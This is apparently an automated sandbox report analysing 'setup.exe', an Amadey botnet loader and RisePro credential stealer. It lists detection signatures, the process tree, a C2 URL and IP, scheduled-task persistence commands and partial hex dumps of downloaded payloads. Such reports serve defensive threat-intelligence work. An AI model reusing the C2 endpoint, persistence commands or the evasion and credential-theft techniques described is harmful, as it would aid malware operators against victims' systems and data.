Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1460137
MD5:	20fe52f3ba934b9b7454c194f44d74d0
SHA1:	f38c3041926f329dac459bacce67850dc58ab15a
SHA256:	3dca9b74c06babae491aef6495a256d6d26a4539cdc680b64ea4e0daee9cf603
Tags:	exe
Infos:

Detection

Amadey, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected RisePro Stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

setup.exe (PID: 6256 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: 20FE52F3BA934B9B7454C194F44D74D0)

explortu.exe (PID: 2892 cmdline: "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe" MD5: 20FE52F3BA934B9B7454C194F44D74D0)

explortu.exe (PID: 7308 cmdline: "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe" MD5: 20FE52F3BA934B9B7454C194F44D74D0)

b6042db502.exe (PID: 7332 cmdline: "C:\Users\user\1000015002\b6042db502.exe" MD5: 1259EEE53EAE1FC7B96F6DFEB18C47D7)

axplong.exe (PID: 7592 cmdline: "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe" MD5: 1259EEE53EAE1FC7B96F6DFEB18C47D7)

eaa97795e9.exe (PID: 7600 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe" MD5: CA515D624D046E04A75136AB4E44D2D6)

schtasks.exe (PID: 8096 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 8136 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8bcaec3fef.exe (PID: 7984 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe" MD5: 69A4A65B5EC85EA408BE9CD4CD98302B)

chrome.exe (PID: 3620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5500 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

explortu.exe (PID: 4764 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: 20FE52F3BA934B9B7454C194F44D74D0)

MPGPH131.exe (PID: 8184 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: CA515D624D046E04A75136AB4E44D2D6)

MPGPH131.exe (PID: 4696 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: CA515D624D046E04A75136AB4E44D2D6)

eaa97795e9.exe (PID: 5668 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe" MD5: CA515D624D046E04A75136AB4E44D2D6)

RageMP131.exe (PID: 8780 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: CA515D624D046E04A75136AB4E44D2D6)

eaa97795e9.exe (PID: 8524 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe" MD5: CA515D624D046E04A75136AB4E44D2D6)

RageMP131.exe (PID: 8896 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: CA515D624D046E04A75136AB4E44D2D6)

axplong.exe (PID: 8252 cmdline: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe MD5: 1259EEE53EAE1FC7B96F6DFEB18C47D7)

explortu.exe (PID: 1096 cmdline: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe MD5: 20FE52F3BA934B9B7454C194F44D74D0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": ["http://147.45.47.155/ku4Nor9/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2075796415.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2037119339.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000005.00000003.2180141513.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2674508535.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2074612089.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2715350371.00000000000D1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000005.00000002.2220567751.0000000000C31000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2116024182.0000000000581000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2077719831.0000000000171000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2221998730.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2715346038.0000000000581000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2674528810.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: RageMP131.exe PID: 8896	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: RageMP131.exe PID: 8896	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.setup.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.explortu.exe.580000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.explortu.exe.580000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.b6042db502.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.axplong.exe.d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe, ProcessId: 2892, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\eaa97795e9.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe, ProcessId: 2892, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\eaa97795e9.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe, ParentProcessId: 7600, ParentProcessName: eaa97795e9.exe, ProcessCommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, ProcessId: 8096, ProcessName: schtasks.exe

Snort Signatures

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 147.45.47.155 - Destination IP: 192.168.2.5

Timestamp:	06/20/24-15:38:05.142930
SID:	2856122
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 147.45.47.155

Timestamp:	06/20/24-15:38:04.167348
SID:	2856147
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: setup.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\1000015002\b6042db502.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: explortu.exe.2892.2.memstrmin

Malware Configuration Extractor: Amadey {"C2 url": ["http://147.45.47.155/ku4Nor9/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: setup.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Joe Sandbox ML: detected
Source: C:\Users\user\1000015002\b6042db502.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: setup.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Code function: 27_2_00E46B00 CryptUnprotectData,CryptUnprotectData,

27_2_00E46B00

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49719 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.12:443 -> 192.168.2.5:49942 version: TLS 1.2

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E46000 FindFirstFileA,FindNextFileA,	27_2_00E46000
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E66770 FindFirstFileA,FindNextFileA,SetFileAttributesA,RemoveDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	27_2_00E66770
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DB1F9C FindFirstFileExW,	27_2_00DB1F9C

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.5:49705 -> 147.45.47.155:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 147.45.47.155:80 -> 192.168.2.5:49705

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 147.45.47.155

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 77.91.77.66 ports 0,5,7,8,58709,9

Source: global traffic

TCP traffic: 192.168.2.5:49726 -> 77.91.77.66:58709

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 20 Jun 2024 13:38:05 GMTContent-Type: application/octet-streamContent-Length: 2396672Last-Modified: Thu, 20 Jun 2024 10:15:18 GMTConnection: keep-aliveETag: "66740136-249200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 66 03 00 00 00 00 00 00 80 5d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 5d 00 00 04 00 00 03 f6 24 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5e c0 18 00 72 00 00 00 00 a0 18 00 34 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 66 5d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 66 5d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 36 18 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 18 00 00 10 00 00 00 b4 0a 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 34 19 00 00 00 a0 18 00 00 1a 00 00 00 c4 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 18 00 00 02 00 00 00 de 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 d0 18 00 00 02 00 00 00 e0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 69 78 6b 6c 68 6c 6d 00 90 19 00 00 e0 43 00 00 88 19 00 00 e2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 79 7a 76 6e 74 76 62 00 10 00 00 00 70 5d 00 00 06 00 00 00 6a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 5d 00 00 22 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 20 Jun 2024 13:38:09 GMTContent-Type: application/octet-streamContent-Length: 1888256Last-Modified: Thu, 20 Jun 2024 10:16:14 GMTConnection: keep-aliveETag: "6674016e-1cd000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2a cf 5e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 df 9c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 26 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 25 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 78 65 6e 6e 74 6c 6a 00 c0 19 00 00 70 31 00 00 b8 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 66 71 6b 61 74 73 7a 00 10 00 00 00 30 4b 00 00 04 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 ae 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
